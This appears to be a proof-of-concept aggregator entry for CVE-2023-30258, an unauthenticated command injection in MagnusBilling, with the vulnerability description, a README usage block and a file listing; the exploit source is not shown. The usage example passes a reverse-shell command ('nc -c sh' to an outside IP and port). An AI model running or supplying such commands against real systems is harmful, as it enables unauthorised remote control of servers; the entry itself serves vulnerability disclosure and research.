CVE-2023-30258 PoC — MagnusBilling 操作系统命令注入漏洞

Source

https://github.com/n00o00b/CVE-2023-30258-RCE-POC

Associated Vulnerability

Title:MagnusBilling 操作系统命令注入漏洞 (CVE-2023-30258)
Description:Command Injection vulnerability in MagnusSolution magnusbilling 6.x and 7.x allows remote attackers to run arbitrary commands via unauthenticated HTTP request.

Description

POC for CVE-2023-30258-RCE by n0o0b

Readme

# CVE-2023-30258-RCE-POC
POC for CVE-2023-30258-RCE by n0o0b

## Usage
```
usage: poc.py [-h] [-u URL] [-c CMD]

example. python poc.py -u http://10.10.69.34/mbilling --cmd "nc -c sh 10.21.126.163 8888"

options:
  -h, --help         show this help message and exit
  -u URL, --url URL  Target URL
  -c CMD, --cmd CMD  Command to execute
```

File Snapshot


 [4.0K]  /data/pocs/cd19269fc9bf91202f478deea238340f98e72f0a
├── [1.5K]  poc.py
└── [ 342]  README.md

0 directories, 2 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!